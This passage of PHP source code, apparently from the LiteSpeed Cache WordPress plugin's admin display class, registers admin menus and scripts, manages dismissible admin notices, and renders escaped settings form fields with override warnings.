function_exists( 'is_plugin_active_for_network' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } // add menus (Also check for mu-plugins) if ( $this->_is_network_admin && ( is_plugin_active_for_network( LSCWP_BASENAME ) || defined( 'LSCWP_MU_PLUGIN' ) ) ) { add_action( 'network_admin_menu', [ $this, 'register_admin_menu' ] ); } else { add_action( 'admin_menu', [ $this, 'register_admin_menu' ] ); } $this->cls( 'Metabox' )->register_settings(); } /** * Echo a translated section title. * * @since 3.0 * * @param string $id Language key. * @return void */ public function title( $id ) { echo wp_kses_post( Lang::title( $id ) ); } /** * Bind per-page admin hooks for a given page hook. * * Adds footer text filter and preview banner when loading the page. * * @param string $hook Page hook suffix returned by add_*_page(). * @return void */ private function bind_page( $hook ) { add_action( "load-$hook", function () { add_filter( 'admin_footer_text', function ( $footer_text ) { $this->cls( 'Cloud' )->maybe_preview_banner(); require_once LSCWP_DIR . 'tpl/inc/admin_footer.php'; return $footer_text; }, 1 ); // Add unified body class for settings page and top-level page add_filter( 'admin_body_class', function ( $classes ) { $screen = get_current_screen(); if ( $screen && in_array( $screen->id, [ 'settings_page_litespeed-cache-options', 'toplevel_page_litespeed' ], true ) ) { $classes .= ' litespeed-cache_page_litespeed'; } return $classes; } ); } ); } /** * Render an admin page by slug using its mapped template file. * * @param string $slug The menu slug registered in $_pages. * @return void */ private function render_page( $slug ) { $tpl = LSCWP_DIR . 'tpl/' . $this->_pages[ $slug ]['tpl']; is_file( $tpl ) ? require $tpl : wp_die( 'Template not found' ); } /** * Register the admin menu display. * * @since 1.0.0 * @return void */ public function register_admin_menu() { $capability = $this->_is_network_admin ? 'manage_network_options' : 'manage_options'; $scope = $this->_is_network_admin ? 'network' : 'site'; add_menu_page( 'LiteSpeed Cache', 'LiteSpeed Cache', $capability, 'litespeed' ); foreach ( $this->_pages as $slug => $meta ) { if ( 'litespeed-optimax' === $slug && !defined( 'LITESPEED_OX' ) ) { continue; } if ( ! empty( $meta['scope'] ) && $meta['scope'] !== $scope ) { continue; } $hook = add_submenu_page( 'litespeed', $meta['title'], $meta['title'], $capability, $slug, function () use ( $slug ) { $this->render_page( $slug ); } ); $this->bind_page( $hook ); } // sub menus under options. $hook = add_options_page( 'LiteSpeed Cache', 'LiteSpeed Cache', $capability, 'litespeed-cache-options', function () { $this->render_page( 'litespeed-cache' ); } ); $this->bind_page( $hook ); } /** * Register the stylesheets for the admin area. * * @since 1.0.14 * @return void */ public function enqueue_style() { wp_enqueue_style( Core::PLUGIN_NAME, LSWCP_PLUGIN_URL . 'assets/css/litespeed.css', [], Core::VER, 'all' ); wp_enqueue_style( Core::PLUGIN_NAME . '-dark-mode', LSWCP_PLUGIN_URL . 'assets/css/litespeed-dark-mode.css', [], Core::VER, 'all' ); } /** * Register/enqueue the JavaScript for the admin area. * * @since 1.0.0 * @since 7.3 Added deactivation modal code. * @return void */ public function enqueue_scripts() { wp_register_script( Core::PLUGIN_NAME, LSWCP_PLUGIN_URL . 'assets/js/litespeed-cache-admin.js', [], Core::VER, true ); $localize_data = []; if ( GUI::has_whm_msg() ) { $ajax_url_dismiss_whm = Utility::build_url( Core::ACTION_DISMISS, GUI::TYPE_DISMISS_WHM, true ); $localize_data['ajax_url_dismiss_whm'] = $ajax_url_dismiss_whm; } if ( GUI::has_msg_ruleconflict() ) { $ajax_url = Utility::build_url( Core::ACTION_DISMISS, GUI::TYPE_DISMISS_EXPIRESDEFAULT, true ); $localize_data['ajax_url_dismiss_ruleconflict'] = $ajax_url; } // Injection to LiteSpeed pages global $pagenow; $page = isset( $_GET['page'] ) ? sanitize_text_field( wp_unslash( $_GET['page'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( 'admin.php' === $pagenow && $page && ( 0 === strpos( $page, 'litespeed-' ) || 'litespeed' === $page ) ) { if ( in_array( $page, [ 'litespeed-crawler', 'litespeed-cdn' ], true ) ) { // Babel JS type correction add_filter( 'script_loader_tag', [ $this, 'babel_type' ], 10, 3 ); wp_enqueue_script( Core::PLUGIN_NAME . '-lib-react', LSWCP_PLUGIN_URL . 'assets/js/react.min.js', [], Core::VER, false ); wp_enqueue_script( Core::PLUGIN_NAME . '-lib-babel', LSWCP_PLUGIN_URL . 'assets/js/babel.min.js', [], Core::VER, false ); } // Crawler Cookie Simulation if ( 'litespeed-crawler' === $page ) { wp_enqueue_script( Core::PLUGIN_NAME . '-crawler', LSWCP_PLUGIN_URL . 'assets/js/component.crawler.js', [], Core::VER, false ); $localize_data['lang'] = []; $localize_data['lang']['cookie_name'] = __( 'Cookie Name', 'litespeed-cache' ); $localize_data['lang']['cookie_value'] = __( 'Cookie Values', 'litespeed-cache' ); $localize_data['lang']['one_per_line'] = Doc::one_per_line( true ); $localize_data['lang']['remove_cookie_simulation'] = __( 'Remove cookie simulation', 'litespeed-cache' ); $localize_data['lang']['add_cookie_simulation_row'] = __( 'Add new cookie to simulate', 'litespeed-cache' ); if ( empty( $localize_data['ids'] ) ) { $localize_data['ids'] = []; } $localize_data['ids']['crawler_cookies'] = self::O_CRAWLER_COOKIES; } // CDN mapping if ( 'litespeed-cdn' === $page ) { $home_url = home_url( '/' ); $parsed = wp_parse_url( $home_url ); if ( ! empty( $parsed['scheme'] ) ) { $home_url = str_replace( $parsed['scheme'] . ':', '', $home_url ); } $cdn_url = 'https://cdn.' . substr( $home_url, 2 ); wp_enqueue_script( Core::PLUGIN_NAME . '-cdn', LSWCP_PLUGIN_URL . 'assets/js/component.cdn.js', [], Core::VER, false ); $localize_data['lang'] = []; $localize_data['lang']['cdn_mapping_url'] = Lang::title( self::CDN_MAPPING_URL ); $localize_data['lang']['cdn_mapping_inc_img'] = Lang::title( self::CDN_MAPPING_INC_IMG ); $localize_data['lang']['cdn_mapping_inc_css'] = Lang::title( self::CDN_MAPPING_INC_CSS ); $localize_data['lang']['cdn_mapping_inc_js'] = Lang::title( self::CDN_MAPPING_INC_JS ); $localize_data['lang']['cdn_mapping_filetype'] = Lang::title( self::CDN_MAPPING_FILETYPE ); $localize_data['lang']['cdn_mapping_url_desc'] = sprintf( __( 'CDN URL to be used. For example, %s', 'litespeed-cache' ), '<code>' . esc_html( $cdn_url ) . '</code>' ); $localize_data['lang']['one_per_line'] = Doc::one_per_line( true ); $localize_data['lang']['cdn_mapping_remove'] = __( 'Remove CDN URL', 'litespeed-cache' ); $localize_data['lang']['add_cdn_mapping_row'] = __( 'Add new CDN URL', 'litespeed-cache' ); $localize_data['lang']['on'] = __( 'ON', 'litespeed-cache' ); $localize_data['lang']['off'] = __( 'OFF', 'litespeed-cache' ); if ( empty( $localize_data['ids'] ) ) { $localize_data['ids'] = []; } $localize_data['ids']['cdn_mapping'] = self::O_CDN_MAPPING; } } // Load iziModal JS and CSS $show_deactivation_modal = ( is_multisite() && ! is_network_admin() ) ? false : true; if ( $show_deactivation_modal && 'plugins.php' === $pagenow ) { wp_enqueue_script( Core::PLUGIN_NAME . '-iziModal', LSWCP_PLUGIN_URL . 'assets/js/iziModal.min.js', [], Core::VER, true ); wp_enqueue_style( Core::PLUGIN_NAME . '-iziModal', LSWCP_PLUGIN_URL . 'assets/css/iziModal.min.css', [], Core::VER, 'all' ); add_action( 'admin_footer', [ $this, 'add_deactivation_html' ] ); } if ( $localize_data ) { wp_localize_script( Core::PLUGIN_NAME, 'litespeed_data', $localize_data ); } wp_enqueue_script( Core::PLUGIN_NAME ); } /** * Add modal HTML on Plugins screen. * * @since 7.3 * @return void */ public function add_deactivation_html() { require LSCWP_DIR . 'tpl/inc/modal.deactivation.php'; } /** * Filter the script tag for specific handles to set Babel type. * * @since 3.6 * * @param string $tag The script tag. * @param string $handle Script handle. * @param string $src Script source URL. * @return string The filtered script tag. */ public function babel_type( $tag, $handle, $src ) { if ( Core::PLUGIN_NAME . '-crawler' !== $handle && Core::PLUGIN_NAME . '-cdn' !== $handle ) { return $tag; } // phpcs:ignore WordPress.WP.EnqueuedResources.NonEnqueuedScript return '<script src="' . Str::trim_quotes( $src ) . '" type="text/babel"></script>'; } /** * Callback that adds LiteSpeed Cache's action links. * * @since 1.0.0 * * @param array<string> $links Previously added links from other plugins. * @return array<string> Links with the LiteSpeed Cache one appended. */ public function add_plugin_links( $links ) { $links[] = '<a href="' . esc_url( admin_url( 'admin.php?page=litespeed-cache' ) ) . '">' . esc_html__( 'Settings', 'litespeed-cache' ) . '</a>'; return $links; } /** * Build a single notice HTML string. * * @since 1.0.7 * * @param string $color The color CSS class for the notice. * @param string $str The notice message. * @param bool $irremovable If true, the notice cannot be dismissed. * @param string $additional_classes Additional classes to add to the wrapper. * @return string The built notice HTML. */ public static function build_notice( $color, $str, $irremovable = false, $additional_classes = '' ) { $cls = $color; if ( $irremovable ) { $cls .= ' litespeed-irremovable'; } else { $cls .= ' is-dismissible'; } if ( $additional_classes ) { $cls .= ' ' . $additional_classes; } // possible translation $str = Lang::maybe_translate( $str ); return '<div class="litespeed_icon ' . esc_attr( $cls ) . '"><p>' . wp_kses_post( $str ) . '</p></div>'; } /** * Display info notice. * * @since 1.6.5 * * @param string|array<string> $msg Message or list of messages. * @param bool $do_echo Echo immediately instead of storing. * @param bool $irremovable If true, cannot be dismissed. * @param string $additional_classes Extra CSS classes. * @return void */ public static function info( $msg, $do_echo = false, $irremovable = false, $additional_classes = '' ) { self::add_notice( self::NOTICE_BLUE, $msg, $do_echo, $irremovable, $additional_classes ); } /** * Display note (warning) notice. * * @since 1.6.5 * * @param string|array<string> $msg Message or list of messages. * @param bool $do_echo Echo immediately instead of storing. * @param bool $irremovable If true, cannot be dismissed. * @param string $additional_classes Extra CSS classes. * @return void */ public static function note( $msg, $do_echo = false, $irremovable = false, $additional_classes = '' ) { self::add_notice( self::NOTICE_YELLOW, $msg, $do_echo, $irremovable, $additional_classes ); } /** * Display success notice. * * @since 1.6 * * @param string|array<string> $msg Message or list of messages. * @param bool $do_echo Echo immediately instead of storing. * @param bool $irremovable If true, cannot be dismissed. * @param string $additional_classes Extra CSS classes. * @return void */ public static function success( $msg, $do_echo = false, $irremovable = false, $additional_classes = '' ) { self::add_notice( self::NOTICE_GREEN, $msg, $do_echo, $irremovable, $additional_classes ); } /** * Deprecated alias for success(). * * @deprecated 4.7 Will drop in v7.5. Use success(). * * @param string|array<string> $msg Message or list of messages. * @param bool $do_echo Echo immediately instead of storing. * @param bool $irremovable If true, cannot be dismissed. * @param string $additional_classes Extra CSS classes. * @return void */ public static function succeed( $msg, $do_echo = false, $irremovable = false, $additional_classes = '' ) { self::success( $msg, $do_echo, $irremovable, $additional_classes ); } /** * Display error notice. * * @since 1.6 * * @param string|array<string> $msg Message or list of messages. * @param bool $do_echo Echo immediately instead of storing. * @param bool $irremovable If true, cannot be dismissed. * @param string $additional_classes Extra CSS classes. * @return void */ public static function error( $msg, $do_echo = false, $irremovable = false, $additional_classes = '' ) { self::add_notice( self::NOTICE_RED, $msg, $do_echo, $irremovable, $additional_classes ); } /** * Add unique (irremovable optional) messages. * * @since 4.7 * * @param string $color_mode One of info|note|success|error. * @param string|array<string> $msgs Message(s). * @param bool $irremovable If true, cannot be dismissed. * @return void */ public static function add_unique_notice( $color_mode, $msgs, $irremovable = false ) { if ( ! is_array( $msgs ) ) { $msgs = [ $msgs ]; } $color_map = [ 'info' => self::NOTICE_BLUE, 'note' => self::NOTICE_YELLOW, 'success' => self::NOTICE_GREEN, 'error' => self::NOTICE_RED, ]; if ( empty( $color_map[ $color_mode ] ) ) { self::debug( 'Wrong admin display color mode!' ); return; } $color = $color_map[ $color_mode ]; // Go through to make sure unique. $filtered_msgs = []; foreach ( $msgs as $k => $str ) { if ( is_numeric( $k ) ) { $k = md5( $str ); } // Use key to make it overwritable to previous same msg. $filtered_msgs[ $k ] = $str; } self::add_notice( $color, $filtered_msgs, false, $irremovable ); } /** * Add a notice to display on the admin page (store or echo). * * @since 1.0.7 * * @param string $color Notice color CSS class. * @param string|array<string> $msg Message(s). * @param bool $do_echo Echo immediately instead of storing. * @param bool $irremovable If true, cannot be dismissed. * @param string $additional_classes Extra classes for wrapper. * @return void */ public static function add_notice( $color, $msg, $do_echo = false, $irremovable = false, $additional_classes = '' ) { // Bypass adding for CLI or cron if ( defined( 'LITESPEED_CLI' ) || wp_doing_cron() ) { // WP CLI will show the info directly if ( defined( 'WP_CLI' ) && constant('WP_CLI') ) { if ( ! is_array( $msg ) ) { $msg = [ $msg ]; } foreach ( $msg as $v ) { $v = wp_strip_all_tags( $v ); if ( self::NOTICE_RED === $color ) { \WP_CLI::error( $v, false ); } else { \WP_CLI::success( $v ); } } } return; } if ( $do_echo ) { echo self::build_notice( $color, $msg, $irremovable, $additional_classes ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped return; } $msg_name = $irremovable ? self::DB_MSG_PIN : self::DB_MSG; $messages = self::get_option( $msg_name, [] ); if ( ! is_array( $messages ) ) { $messages = []; } if ( is_array( $msg ) ) { foreach ( $msg as $k => $str ) { $messages[ $k ] = self::build_notice( $color, $str, $irremovable, $additional_classes ); } } else { $messages[] = self::build_notice( $color, $msg, $irremovable, $additional_classes ); } $messages = array_unique( $messages ); self::update_option( $msg_name, $messages ); } /** * Display notices and errors in dashboard. * * @since 1.1.0 * @return void */ public function display_messages() { if ( ! defined( 'LITESPEED_CONF_LOADED' ) ) { $this->_in_upgrading(); } if ( GUI::has_whm_msg() ) { $this->show_display_installed(); } Data::cls()->check_upgrading_msg(); // If is in dev version, always check latest update Cloud::cls()->check_dev_version(); // One time msg $messages = self::get_option( self::DB_MSG, [] ); $added_thickbox = false; if ( is_array( $messages ) ) { foreach ( $messages as $msg ) { // Added for popup links if ( strpos( $msg, 'TB_iframe' ) && ! $added_thickbox ) { add_thickbox(); $added_thickbox = true; } echo wp_kses_post( $msg ); } } if ( -1 !== $messages ) { self::update_option( self::DB_MSG, -1 ); } // Pinned msg $messages = self::get_option( self::DB_MSG_PIN, [] ); if ( is_array( $messages ) ) { foreach ( $messages as $k => $msg ) { // Added for popup links if ( strpos( $msg, 'TB_iframe' ) && ! $added_thickbox ) { add_thickbox(); $added_thickbox = true; } // Append close btn if ( '</div>' === substr( $msg, -6 ) ) { $link = Utility::build_url( Core::ACTION_DISMISS, GUI::TYPE_DISMISS_PIN, false, null, [ 'msgid' => $k ] ); $msg = substr( $msg, 0, -6 ) . '<p><a href="' . esc_url( $link ) . '" class="button litespeed-btn-primary litespeed-btn-mini">' . esc_html__( 'Dismiss', 'litespeed-cache' ) . '</a>' . '</p></div>'; } echo wp_kses_post( $msg ); } } if ( empty( $_GET['page'] ) || 0 !== strpos( sanitize_text_field( wp_unslash( $_GET['page'] ) ), 'litespeed' ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended global $pagenow; if ( 'plugins.php' !== $pagenow ) { return; } } if ( ! $this->conf( self::O_NEWS ) ) { return; } // Show promo from cloud Cloud::cls()->show_promo(); /** * Check promo msg first * * @since 2.9 */ GUI::cls()->show_promo(); // Show version news Cloud::cls()->news(); } /** * Dismiss pinned msg. * * @since 3.5.2 * @return void */ public static function dismiss_pin() { if ( ! isset( $_GET['msgid'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended return; } $messages = self::get_option( self::DB_MSG_PIN, [] ); $msgid = sanitize_text_field( wp_unslash( $_GET['msgid'] ) ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( ! is_array( $messages ) || empty( $messages[ $msgid ] ) ) { return; } unset( $messages[ $msgid ] ); if ( ! $messages ) { $messages = -1; } self::update_option( self::DB_MSG_PIN, $messages ); } /** * Dismiss pinned msg by msg content. * * @since 7.0 * * @param string $content Message content. * @param string $color Color CSS class. * @param bool $irremovable Is irremovable. * @return void */ public static function dismiss_pin_by_content( $content, $color, $irremovable ) { $content = self::build_notice( $color, $content, $irremovable ); $messages = self::get_option( self::DB_MSG_PIN, [] ); $hit = false; if ( -1 !== $messages ) { foreach ( $messages as $k => $v ) { if ( $v === $content ) { unset( $messages[ $k ] ); $hit = true; self::debug( '✅ pinned msg content hit. Removed' ); break; } } } if ( $hit ) { if ( ! $messages ) { $messages = -1; } self::update_option( self::DB_MSG_PIN, $messages ); } else { self::debug( '❌ No pinned msg content hit' ); } } /** * Hooked to the in_widget_form action. * Appends LiteSpeed Cache settings to the widget edit settings screen. * This will append the esi on/off selector and ttl text. * * @since 1.1.0 * * @param \WP_Widget $widget The widget instance (passed by reference). * @param mixed $return_val Return param (unused). * @param array $instance The widget instance's settings. * @return void */ public function show_widget_edit( $widget, $return_val, $instance ) { require LSCWP_DIR . 'tpl/esi_widget_edit.php'; } /** * Outputs a notice when the plugin is installed via WHM. * * @since 1.0.12 * @return void */ public function show_display_installed() { require_once LSCWP_DIR . 'tpl/inc/show_display_installed.php'; } /** * Display error cookie msg. * * @since 1.0.12 * @return void */ public static function show_error_cookie() { require_once LSCWP_DIR . 'tpl/inc/show_error_cookie.php'; } /** * Display warning if lscache is disabled. * * @since 2.1 * @return void */ public function cache_disabled_warning() { include LSCWP_DIR . 'tpl/inc/check_cache_disabled.php'; } /** * Display conf data upgrading banner. * * @since 2.1 * @access private * @return void */ private function _in_upgrading() { include LSCWP_DIR . 'tpl/inc/in_upgrading.php'; } /** * Output LiteSpeed form open tag and hidden fields. * * @since 3.0 * * @param string|false $action Router action. * @param string|false $type Router type. * @param bool $has_upload Whether form has file uploads. * @return void */ public function form_action( $action = false, $type = false, $has_upload = false ) { if ( ! $action ) { $action = Router::ACTION_SAVE_SETTINGS; } if ( ! defined( 'LITESPEED_CONF_LOADED' ) ) { echo '<div class="litespeed-relative">'; } else { $current = isset( $_SERVER['REQUEST_URI'] ) ? esc_url_raw( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : ''; if ( $has_upload ) { echo '<form method="post" action="' . esc_url( $current ) . '" class="litespeed-relative" enctype="multipart/form-data">'; } else { echo '<form method="post" action="' . esc_url( $current ) . '" class="litespeed-relative">'; } } echo '<input type="hidden" name="' . esc_attr( Router::ACTION ) . '" value="' . esc_attr( $action ) . '" />'; if ( $type ) { echo '<input type="hidden" name="' . esc_attr( Router::TYPE ) . '" value="' . esc_attr( $type ) . '" />'; } wp_nonce_field( $action, Router::NONCE ); } /** * Output LiteSpeed form end (submit + closing tags). * * @since 3.0 * * @return void */ public function form_end() { echo "<div class='litespeed-top20'></div>"; if ( ! defined( 'LITESPEED_CONF_LOADED' ) ) { submit_button( __( 'Save Changes', 'litespeed-cache' ), 'secondary litespeed-duplicate-float', 'litespeed-submit', true, [ 'disabled' => 'disabled' ] ); echo '</div>'; } else { submit_button( __( 'Save Changes', 'litespeed-cache' ), 'primary litespeed-duplicate-float', 'litespeed-submit', true, [ 'id' => 'litespeed-submit-' . $this->_btn_i++, ] ); echo '</form>'; } } /** * Register a setting for saving. * * @since 3.0 * * @param string $id Setting ID. * @return void */ public function enroll( $id ) { echo '<input type="hidden" name="' . esc_attr( Admin_Settings::ENROLL ) . '[]" value="' . esc_attr( $id ) . '" />'; } /** * Build a textarea input. * * @since 1.1.0 * * @param string $id Setting ID. * @param int|false $cols Columns count. * @param string|nil $val Pre-set value. * @return void */ public function build_textarea( $id, $cols = false, $val = null ) { if ( null === $val ) { $val = $this->conf( $id, true ); if ( is_array( $val ) ) { $val = implode( "\n", $val ); } } if ( ! $cols ) { $cols = 80; } $rows = $this->get_textarea_rows( $val ); $this->enroll( $id ); echo "<textarea name='" . esc_attr( $id ) . "' rows='" . (int) $rows . "' cols='" . (int) $cols . "'>" . esc_textarea( $val ) . '</textarea>'; $this->_check_overwritten( $id ); } /** * Calculate textarea rows. * * @since 7.4 * * @param string $val Text area value. * @return int Number of rows to use. */ public function get_textarea_rows( $val ) { $rows = 5; $lines = substr_count( (string) $val, "\n" ) + 2; if ( $lines > $rows ) { $rows = $lines; } if ( $rows > 40 ) { $rows = 40; } return $rows; } /** * Build a text input field. * * @since 1.1.0 * * @param string $id Setting ID. * @param string|null $cls CSS class. * @param string|null $val Value. * @param string $type Input type. * @param bool $disabled Whether disabled. * @return void */ public function build_input( $id, $cls = null, $val = null, $type = 'text', $disabled = false ) { if ( null === $val ) { $val = $this->conf( $id, true ); // Mask passwords. if ( $this->_conf_pswd( $id ) && $val ) { $val = str_repeat( '*', strlen( $val ) ); } } $label_id = preg_replace( '/\W/', '', $id ); if ( 'text' === $type ) { $cls = "regular-text $cls"; } if ( $disabled ) { echo "<input type='" . esc_attr( $type ) . "' class='" . esc_attr( $cls ) . "' value='" . esc_attr( $val ) . "' id='input_" . esc_attr( $label_id ) . "' disabled /> "; } else { $this->enroll( $id ); echo "<input type='" . esc_attr( $type ) . "' class='" . esc_attr( $cls ) . "' name='" . esc_attr( $id ) . "' value='" . esc_attr( $val ) . "' id='input_" . esc_attr( $label_id ) . "' /> "; } $this->_check_overwritten( $id ); } /** * Build a checkbox HTML snippet. * * @since 1.1.0 * * @param string $id Setting ID. * @param string $title Checkbox label (HTML allowed). * @param bool|null $checked Whether checked. * @param int|string $value Checkbox value. * @return void */ public function build_checkbox( $id, $title, $checked = null, $value = 1 ) { if ( null === $checked && $this->conf( $id, true ) ) { $checked = true; } $label_id = preg_replace( '/\W/', '', $id ); if ( 1 !== $value ) { $label_id .= '_' . $value; } $this->enroll( $id ); echo "<div class='litespeed-tick'> <input type='checkbox' name='" . esc_attr( $id ) . "' id='input_checkbox_" . esc_attr( $label_id ) . "' value='" . esc_attr( $value ) . "' " . checked( (bool) $checked, true, false ) . " /> <label for='input_checkbox_" . esc_attr( $label_id ) . "'>" . wp_kses_post( $title ) . '</label> </div>'; $this->_check_overwritten( $id ); } /** * Build a toggle checkbox snippet. * * @since 1.7 * * @param string $id Setting ID. * @param bool|null $checked Whether enabled. * @param string|null $title_on Label when on. * @param string|null $title_off Label when off. * @return void */ public function build_toggle( $id, $checked = null, $title_on = null, $title_off = null ) { if ( null === $checked && $this->conf( $id, true ) ) { $checked = true; } if ( null === $title_on ) { $title_on = __( 'ON', 'litespeed-cache' ); $title_off = __( 'OFF', 'litespeed-cache' ); } $cls = $checked ? 'primary' : 'default litespeed-toggleoff'; echo "<div class='litespeed-toggle litespeed-toggle-btn litespeed-toggle-btn-" . esc_attr( $cls ) . "' data-litespeed-toggle-on='primary' data-litespeed-toggle-off='default' data-litespeed_toggle_id='" . esc_attr( $id ) . "' > <input name='" . esc_attr( $id ) . "' type='hidden' value='" . esc_attr( $checked ) . "' /> <div class='litespeed-toggle-group'> <label class='litespeed-toggle-btn litespeed-toggle-btn-primary litespeed-toggle-on'>" . esc_html( $title_on ) . "</label> <label class='litespeed-toggle-btn litespeed-toggle-btn-default litespeed-toggle-active litespeed-toggle-off'>" . esc_html( $title_off ) . "</label> <span class='litespeed-toggle-handle litespeed-toggle-btn litespeed-toggle-btn-default'></span> </div> </div>"; } /** * Build a switch (radio) field. * * @since 1.1.0 * @since 1.7 Removed $disable param. * * @param string $id Setting ID. * @param array<int,mixed>|false $title_list Labels for options (OFF/ON). * @return void */ public function build_switch( $id, $title_list = false ) { $this->enroll( $id ); echo '<div class="litespeed-switch">'; if ( ! $title_list ) { $title_list = [ __( 'OFF', 'litespeed-cache' ), __( 'ON', 'litespeed-cache' ) ]; } foreach ( $title_list as $k => $v ) { $this->_build_radio( $id, $k, $v ); } echo '</div>'; $this->_check_overwritten( $id ); } /** * Build a radio input and echo it. * * @since 1.1.0 * @access private * * @param string $id Setting ID. * @param int|string $val Value for the radio. * @param string $txt Label HTML. * @return void */ private function _build_radio( $id, $val, $txt ) { $id_attr = 'input_radio_' . preg_replace( '/\W/', '', $id ) . '_' . $val; $default = isset( self::$_default_options[ $id ] ) ? self::$_default_options[ $id ] : self::$_default_site_options[ $id ]; $is_checked = ! is_string( $default ) ? ( (int) $this->conf( $id, true ) === (int) $val ) : ( $this->conf( $id, true ) === $val ); echo "<input type='radio' autocomplete='off' name='" . esc_attr( $id ) . "' id='" . esc_attr( $id_attr ) . "' value='" . esc_attr( $val ) . "' " . checked( $is_checked, true, false ) . " /> <label for='" . esc_attr( $id_attr ) . "'>" . wp_kses_post( $txt ) . '</label>'; } /** * Show overwritten info if value comes from const/primary/filter/server. * * @since 3.0 * @since 7.4 Show value from filters. Added type parameter. * * @param string $id Setting ID. * @return void */ protected function _check_overwritten( $id ) { $const_val = $this->const_overwritten( $id ); $primary_val = $this->primary_overwritten( $id ); $deprecated_filter_val = $this->deprecated_filter_overwritten( $id ); $filter_val = $this->filter_overwritten( $id ); $server_val = $this->server_overwritten( $id ); if ( null === $const_val && null === $primary_val && null === $deprecated_filter_val && null === $filter_val && null === $server_val ) { return; } // Get value to display. $val = null !== $const_val ? $const_val : $primary_val; // If we have deprecated_filter_val will set as new val. if ( null !== $deprecated_filter_val ) { $val = $deprecated_filter_val; } // If we have filter_val will set as new val. if ( null !== $filter_val ) { $val = $filter_val; } // If we have server_val will set as new val. if ( null !== $server_val ) { $val = $server_val; } // Get type (used for display purpose). $type = ( isset( self::$settings_filters[ $id ] ) && isset( self::$settings_filters[ $id ]['type'] ) ) ? self::$settings_filters[ $id ]['type'] : 'textarea'; if ( ( null !== $const_val || null !== $primary_val || null !== $filter_val ) && null === $deprecated_filter_val ) { $type = 'setting'; } // Get default setting: if settings exist, use default setting, otherwise use filter/server value. $default = ''; if ( isset( self::$_default_options[ $id ] ) || isset( self::$_default_site_options[ $id ] ) ) { $default = isset( self::$_default_options[ $id ] ) ? self::$_default_options[ $id ] : self::$_default_site_options[ $id ]; } if ( null !== $deprecated_filter_val || null !== $server_val ) { $default = null !== $deprecated_filter_val ? $deprecated_filter_val : $server_val; } // Set value to display, will be a string. if ( is_bool( $default ) ) { $val = $val ? __( 'ON', 'litespeed-cache' ) : __( 'OFF', 'litespeed-cache' ); } else { if ( is_array( $val ) ) { $val = implode( "\n", $val ); } $val = esc_textarea( $val ); } // Show warning for all types except textarea. if ( 'textarea' !== $type ) { echo '<div class="litespeed-desc litespeed-warning litespeed-overwrite">⚠️ '; if ( null !== $server_val ) { // Show $_SERVER value. printf( esc_html__( 'This value is overwritten by the %s variable.', 'litespeed-cache' ), '$_SERVER' ); $val = '$_SERVER["' . $server_val[0] . '"] = ' . $server_val[1]; } elseif ( null !== $deprecated_filter_val ) { // Show filter value. echo esc_html__( 'This value is overwritten by the filter.', 'litespeed-cache' ); } elseif ( null !== $const_val ) { // Show CONSTANT value. printf( esc_html__( 'This value is overwritten by the PHP constant %s.', 'litespeed-cache' ), '<code>' . esc_html( Base::conf_const( $id ) ) . '</code>' ); } elseif ( is_multisite() ) { // Show multisite overwrite. if ( get_current_blog_id() !== BLOG_ID_CURRENT_SITE && $this->conf( self::NETWORK_O_USE_PRIMARY ) ) { echo esc_html__( 'This value is overwritten by the primary site setting.', 'litespeed-cache' ); } else { echo esc_html__( 'This value is overwritten by the Network setting.', 'litespeed-cache' ); } } elseif ( null !== $filter_val ) { // Show filter value. echo esc_html__( 'This value is overwritten by the filter.', 'litespeed-cache' ); } echo ' ' . sprintf( esc_html__( 'Currently set to %s', 'litespeed-cache' ), '<code>' . esc_html( $val ) . '</code>' ) . '</div>'; } elseif ( 'textarea' === $type && null !== $deprecated_filter_val ) { // Show warning for textarea. // Textarea sizes. $cols = 30; $rows = $this->get_textarea_rows( $val ); $rows_current_val = $this->get_textarea_rows( implode( "\n", $this->conf( $id, true ) ) ); // If filter rows is bigger than textarea size, equalize them. if ( $rows > $rows_current_val ) { $rows = $rows_current_val; } ?> <div class="litespeed-desc-wrapper"> <div class="litespeed-desc"><?php echo esc_html__( 'Value from filter applied', 'litespeed-cache' ); ?>:</div> <textarea readonly rows="<?php echo (int) $rows; ?>" cols="<?php echo (int) $cols; ?>"><?php echo esc_textarea( $val ); ?></textarea> </div> <?php } } /** * Display seconds label and readable span. * * @since 3.0 * @return void */ public function readable_seconds() { echo esc_html__( 'seconds', 'litespeed-cache' ); echo ' <span data-litespeed-readable=""></span>'; } /** * Display default value for a setting. * * @since 1.1.1 * * @param string $id Setting ID. * @return void */ public function recommended( $id ) { if ( ! $this->default_settings ) { $this->default_settings = $this->load_default_vals(); } $val = $this->default_settings[ $id ]; if ( ! $val ) { return; } if ( ! is_array( $val ) ) { printf( '%s: <code>%s</code>', esc_html__( 'Default value', 'litespeed-cache' ), esc_html( $val ) ); return; } $rows = 5; $cols = 30; // Flexible rows/cols. $lines = count( $val ) + 1; $rows = min( max( $lines, $rows ), 40 ); foreach ( $val as $v ) { $cols = max( strlen( $v ), $cols ); } $cols = min( $cols, 150 ); $val = implode( "\n", $val ); printf( '<div class="litespeed-desc">%s:</div><textarea readonly rows="%d" cols="%d">%s</textarea>', esc_html__( 'Default value', 'litespeed-cache' ), (int) $rows, (int) $cols, esc_textarea( $val ) ); } /** * Validate rewrite rules regex syntax. * * @since 3.0 * * @param string $id Setting ID. * @return void */ protected function _validate_syntax( $id ) { $val = $this->conf( $id, true ); if ( ! $val ) { return; } if ( ! is_array( $val ) ) { $val = [ $val ]; } foreach ( $val as $v ) { if ( ! Utility::syntax_checker( $v ) ) { echo '<br /><span class="litespeed-warning"> ❌ ' . esc_html__( 'Invalid rewrite rule', 'litespeed-cache' ) . ': <code>' . wp_kses_post( $v ) . '</code></span>'; } } } /** * Validate if the .htaccess path is valid. * * @since 3.0 * * @param string $id Setting ID. * @return void */ protected function _validate_htaccess_path( $id ) { $val = $this->conf( $id, true ); if ( ! $val ) { return; } if ( '/.htaccess' !== substr( $val, -10 ) ) { echo '<br /><span class="litespeed-warning"> ❌ ' . sprintf( esc_html__( 'Path must end with %s', 'litespeed-cache' ), '<code>/.htaccess</code>' ) . '</span>'; } } /** * Check TTL ranges and show tips. * * @since 3.0 * * @param string $id Setting ID. * @param int|bool $min Minimum value (or false). * @param int|bool $max Maximum value (or false). 